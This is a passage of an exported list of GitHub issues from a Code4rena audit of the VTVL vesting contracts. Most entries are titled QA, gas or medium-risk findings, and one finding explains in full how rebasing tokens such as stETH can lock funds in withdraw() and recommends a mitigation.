"labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/391", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/389", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/388", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/387", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/386", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/385", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/383", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/382", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/380", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/378", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/377", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/376", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/375", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/370", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/367", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/366", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/364", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/363", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Admin roles might be lost forever", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/361", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Admin roles might be lost forever"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/357", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/356", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/355", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/354", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/353", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/352", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/351", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/349", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "setAdmin should be a two-step process. Potential locking of critical contract's functions", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "setAdmin should be a two-step process. Potential locking of critical contract's functions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/347", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/346", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/345", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/341", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/340", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/339", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/336", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/332", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/331", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/329", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/328", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Admin can revoke admin rights of every other admin, including himself.", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/327", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Admin can revoke admin rights of every other admin, including himself."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/325", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/324", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/323", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/320", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/318", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/317", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/314", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/311", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Contract admin lockout due to admin disabling himself", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Contract admin lockout due to admin disabling himself"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/309", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/308", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/306", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/305", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/303", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/302", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/299", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "If ```_linearVestAmount``` is set to 0 claimants will not be able to claim. ", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/295", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "If ```_linearVestAmount``` is set to 0 claimants will not be able to claim. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Vesting Schedule Start and End Time can be Set in The Past ", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/292", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "Vesting Schedule Start and End Time can be Set in The Past "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/282", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/281", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/279", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Variable balance token causing fund lock and loss", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/278", "labels": ["bug", "enhancement", "2 (Med Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L295 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L388 # Vulnerability details ## Impact Some ERC20 token's balance could change, one example is stETH. The balance could become insufficient at the time of `withdraw()`. User's fund will be locked due to DoS. The way to take the fund out is to send more token into the contract, causing fund loss to the protocol. And there is no guarantee that until the end time the balance would stay above the needed amount, the lock and loss issue persist. ## Proof of Concept For stETH like tokens, the `balanceOf()` value might go up or down, even without transfer. ```solidity // stETH function balanceOf(address who) external override view returns (uint256) { return _shareBalances[who].div(_sharesPerToken); } ``` In `VTVLVesting`, the `require` check for the spot `balanceOf()` value will pass, but it is possible that as time goes on, the value become smaller and fail the transfer. As a result, the `withdraw()` call will revert, causing DoS, and lock user's fund. ```solidity // contracts/VTVLVesting.sol function _createClaimUnchecked() private hasNoClaim(_recipient) { // ... require(tokenAddress.balanceOf(address(this)) >= numTokensReservedForVesting + allocatedAmount, \"INSUFFICIENT_BALANCE\"); // ... } function withdraw() hasActiveClaim(_msgSender()) external { // ... tokenAddress.safeTransfer(_msgSender(), amountRemaining); // ... } ``` #### Reference https://etherscan.io/address/0x312ca0592a39a5fa5c87bb4f1da7b77544a91b87#code ## Tools Used Manual analysis. ## Recommended Mitigation Steps Disallow such kind of variable balance token."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/269", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/259", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Claim number value should be checked in the createClaimsBatch function.", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Claim number value should be checked in the createClaimsBatch function."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/257", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Contracts admin privileged functions would revert if all Admins are unset", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Contracts admin privileged functions would revert if all Admins are unset"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/253", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/252", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/249", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/246", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/234", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "USE OF SOLIDITY VERSION 0.8.14 WHICH HAS KNOWN ISSUES APPLICABLE TO vtvl", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "USE OF SOLIDITY VERSION 0.8.14 WHICH HAS KNOWN ISSUES APPLICABLE TO vtvl"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/202", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Tokens with lower number of decimals can result in postponed linear vesting for user", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/191", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "Tokens with lower number of decimals can result in postponed linear vesting for user"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/182", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 